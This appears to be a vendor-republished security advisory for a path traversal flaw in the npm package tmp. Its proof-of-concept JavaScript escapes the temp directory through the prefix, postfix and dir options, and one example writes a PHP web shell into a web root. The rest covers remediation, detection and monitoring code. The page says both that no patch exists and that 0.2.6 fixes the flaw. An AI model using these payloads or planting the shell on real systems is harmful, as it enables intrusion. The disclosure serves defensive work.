GHSA-ph9p-34f9-6g65
Fix: raszi/node-tmp@efa4a06GHSA-ph9p-34f9-6g65 is a Path Traversal vulnerability in tmp. O3 Security confirms whether GHSA-ph9p-34f9-6g65 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
tmp has Path Traversal via unsanitized prefix/postfix that enables directory escape
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-ph9p-34f9-6g65.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
tmpnpmDescription
Summary
The tmp npm package contains a path traversal vulnerability that allows escaping the intended temporary directory when untrusted data flows into the prefix, postfix, or dir options. By embedding traversal sequences (e.g., ../) or path separators in these parameters, attackers can cause files to be created outside the configured temporary base directory at attacker-controlled locations with the privileges of the running process. This vulnerability affects applications that pass user-controlled data to tmp's file/directory creation functions without proper input sanitization.
Details
Root Cause: The vulnerability exists in tmp's path construction logic where user-supplied options are directly concatenated into file paths without sanitization or validation.
Technical Flow:
- Filename Construction: tmp builds filenames as
<prefix>-<pid>-<random>-<postfix> - Path Composition: Final path computed as
path.join(tmpDir, opts.dir, name) - Path Normalization: Node.js
path.join()normalizes traversal sequences, allowing escape - File Creation: File created at the resulting (potentially escaped) path
Vulnerable Pattern:
// In tmp package internals
const name = `${opts.prefix || ''}-${process.pid}-${randomString}-${opts.postfix || ''}`;
const finalPath = path.join(tmpDir, opts.dir || '', name);
// No validation that finalPath remains within tmpDir
Path Traversal Mechanics:
- prefix/postfix traversal:
../../../evilin prefix escapes directory structure - Absolute path bypass: If
opts.diris absolute,path.join()ignorestmpDircompletely - Normalization exploitation:
path.join()resolves../sequences regardless of surrounding text - Cross-platform impact: Works on Windows (
..\\), Unix (../), and mixed path systems
Key Vulnerability Points:
- No input validation on
prefix,postfix, ordirparameters - Direct use of user input in path construction
- Reliance on
path.join()normalization without containment checks - Missing post-construction validation that final path remains within intended directory
PoC
Basic Path Traversal via prefix:
const tmp = require('tmp');
const path = require('path');
const fs = require('fs');
// Create a controlled base directory
const baseDir = fs.mkdtempSync('/tmp/safe-base-');
console.log('Base directory:', baseDir);
// Escape via prefix
tmp.file({
tmpdir: baseDir,
prefix: '../escaped'
}, (err, filepath, fd, cleanup) => {
if (err) throw err;
console.log('Created file:', filepath);
console.log('Relative to base:', path.relative(baseDir, filepath));
// Output shows: ../escaped-<pid>-<random>
cleanup();
});
Directory Escape via postfix:
tmp.file({
tmpdir: baseDir,
postfix: '/../../pwned.txt'
}, (err, filepath, fd, cleanup) => {
if (err) throw err;
console.log('Escaped file:', filepath);
console.log('Escaped outside base:', !filepath.startsWith(baseDir));
cleanup();
});
Absolute Path Bypass via dir:
tmp.file({
tmpdir: '/safe/tmp/dir',
dir: '/tmp/evil-location',
prefix: 'bypassed'
}, (err, filepath, fd, cleanup) => {
if (err) throw err;
console.log('Bypassed to:', filepath);
// File created in /tmp/evil-location instead of /safe/tmp/dir
cleanup();
});
Advanced Multi-Vector Attack:
const maliciousOpts = {
tmpdir: '/app/safe-tmp',
dir: '../../../tmp', // Escape base
prefix: '../sensitive-area/', // Further traversal
postfix: 'malicious.config' // Controlled filename
};
tmp.file(maliciousOpts, (err, filepath, fd, cleanup) => {
// Results in file creation at: /tmp/sensitive-area/malicious.config
console.log('Final malicious path:', filepath);
cleanup();
});
Real-World Attack Simulation:
// Simulate web API that accepts user file prefix
function createUserTempFile(userPrefix, content) {
return new Promise((resolve, reject) => {
tmp.file({ prefix: userPrefix }, (err, path, fd, cleanup) => {
if (err) return reject(err);
fs.writeSync(fd, content);
console.log('User file created at:', path);
resolve({ path, cleanup });
});
});
}
// Attacker input
const attackerPrefix = '../../../var/www/html/backdoor';
createUserTempFile(attackerPrefix, '<?php system($_GET["cmd"]); ?>');
// Creates PHP backdoor in web root instead of temp directory
Impact
Arbitrary File Creation:
- Files created outside intended temporary directories
- Attacker control over file placement location
- Potential to overwrite existing files (depending on creation flags)
- Cross-platform exploitation capability
Attack Scenarios:
1. Web Application Configuration Poisoning:
- User uploads file with malicious prefix/postfix
- tmp creates "temporary" file in application configuration directory
- Malicious configuration loaded on next application restart
2. Cache Poisoning:
- Application caches user content using tmp
- Attacker escapes to cache directory of different user/tenant
- Poisoned cache serves malicious content to other users
3. Build Pipeline Compromise:
- CI/CD system processes user PRs with tmp usage
- Malicious prefix escapes to build output directories
- Compromised build artifacts deployed to production
4. Container Escape Attempt:
- Containerized application uses tmp with user input
- Attacker attempts to escape container temp restrictions
- Files created in host-mapped volumes or sensitive container areas
5. Multi-Tenant Service Bypass:
- SaaS platform isolates tenants using separate tmp directories
- Tenant A escapes their tmp space to tenant B's area
- Cross-tenant data access and potential privilege escalation
Business Impact:
- Data Integrity: Unauthorized file placement can corrupt application state
- Service Disruption: Files in wrong locations may break application functionality
- Security Bypass: Escape temporary isolation boundaries
- Compliance Violations: Files containing sensitive data placed in uncontrolled locations
Affected Products
- Ecosystem: npm
- Package name: tmp
- Repository: github.com/raszi/node-tmp
- Affected versions: All versions with vulnerable path construction logic
- Patched versions: None currently available
Component Impact:
tmp.file()function - vulnerable to prefix/postfix/dir traversaltmp.dir()function - vulnerable to same parameter manipulationtmp.tmpName()function - if using affected path construction
Severity: High
CVSS v3.1: 8.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L)
CWE Classification:
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)
Remediation
Input Validation and Sanitization:
- Sanitize prefix/postfix:
function sanitizePrefix(prefix) {
if (!prefix) return '';
// Remove path separators and traversal sequences
return path.basename(String(prefix)).replace(/[\.\/\\]/g, '-');
}
function sanitizePostfix(postfix) {
if (!postfix) return '';
// Allow only safe characters
return String(postfix).replace(/[^A-Za-z0-9._-]/g, '');
}
- Validate dir parameter:
function validateDir(dir, baseDir) {
if (!dir) return '';
// Reject absolute paths
if (path.isAbsolute(dir)) {
throw new Error('Absolute paths not allowed for dir option');
}
// Resolve and check containment
const resolved = path.resolve(baseDir, dir);
const relative = path.relative(baseDir, resolved);
if (relative.startsWith('..') || path.isAbsolute(relative)) {
throw new Error('Dir option escapes base directory');
}
return dir;
}
- Post-construction path validation:
function validateFinalPath(finalPath, baseDir) {
const resolved = path.resolve(finalPath);
const relative = path.relative(path.resolve(baseDir), resolved);
if (relative.startsWith('..') || path.isAbsolute(relative)) {
throw new Error('Generated path escapes temporary directory');
}
return resolved;
}
Secure Implementation Pattern:
function createTempFile(options) {
const opts = { ...options };
// Sanitize inputs
opts.prefix = sanitizePrefix(opts.prefix);
opts.postfix = sanitizePostfix(opts.postfix);
opts.dir = validateDir(opts.dir, opts.tmpdir);
// Create with sanitized options
return tmp.file(opts, (err, path, fd, cleanup) => {
if (err) return callback(err);
// Validate final path
try {
validateFinalPath(path, opts.tmpdir);
} catch (validationErr) {
cleanup();
return callback(validationErr);
}
callback(null, path, fd, cleanup);
});
}
Workarounds
For Application Developers:
- Input Sanitization:
// Sanitize before passing to tmp
function safeTmpFile(userOptions) {
const safeOpts = {
...userOptions,
prefix: userOptions.prefix ? path.basename(userOptions.prefix) : undefined,
postfix: userOptions.postfix ? userOptions.postfix.replace(/[^A-Za-z0-9._-]/g, '') : undefined,
dir: undefined // Don't allow user-controlled dir
};
return tmp.file(safeOpts);
}
- Path Validation:
function validateTmpPath(tmpPath, expectedBase) {
const relativePath = path.relative(expectedBase, tmpPath);
if (relativePath.startsWith('..') || path.isAbsolute(relativePath)) {
throw new Error('Temporary file path escaped base directory');
}
return tmpPath;
}
- Restricted Usage:
// Only use tmp with known-safe, literal values
tmp.file({ prefix: 'app-temp-', postfix: '.tmp' }, callback);
// Never: tmp.file({ prefix: userInput }, callback);
For Security Teams:
- Code Review Patterns:
# Search for dangerous tmp usage
grep -r "tmp\.file.*prefix.*req\|tmp\.file.*postfix.*req" .
grep -r "tmp\.dir.*opts\|tmp\.file.*opts" .
- Runtime Monitoring:
// Monitor for files created outside expected temp areas
const originalFile = tmp.file;
tmp.file = function(options, callback) {
return originalFile(options, (err, path, fd, cleanup) => {
if (!err && options.tmpdir) {
const relative = require('path').relative(options.tmpdir, path);
if (relative.startsWith('..')) {
console.warn('Path traversal detected:', path);
}
}
return callback(err, path, fd, cleanup);
});
};
Detection and Monitoring
Static Analysis:
- Scan for tmp usage with user-controlled input
- Identify unsanitized parameter passing to tmp functions
- Review file creation patterns in temporary directories
Runtime Detection:
// Log suspicious tmp operations
function monitorTmpUsage() {
const originalTmpFile = require('tmp').file;
require('tmp').file = function(options = {}, callback) {
// Check for suspicious patterns
const suspicious = [
options.prefix && options.prefix.includes('..'),
options.postfix && options.postfix.includes('..'),
options.dir && path.isAbsolute(options.dir)
].some(Boolean);
if (suspicious) {
console.warn('Suspicious tmp usage detected:', options);
}
return originalTmpFile.call(this, options, callback);
};
}
File System Monitoring:
# Monitor file creation outside expected temp directories
inotifywait -m -r --format '%w%f %e' /tmp /var/tmp | while read file event; do
if [[ "$event" == *"CREATE"* && "$file" != /tmp/tmp-* ]]; then
echo "Unexpected file creation: $file"
fi
done
Acknowledgements
Reported by: Mapta / BugBunny_ai
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | tmp | all versions | 0.2.6 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for tmp. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update tmp to 0.2.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-ph9p-34f9-6g65 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-ph9p-34f9-6g65 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-ph9p-34f9-6g65. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-ph9p-34f9-6g65 in your dependencies?
O3 detects GHSA-ph9p-34f9-6g65 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.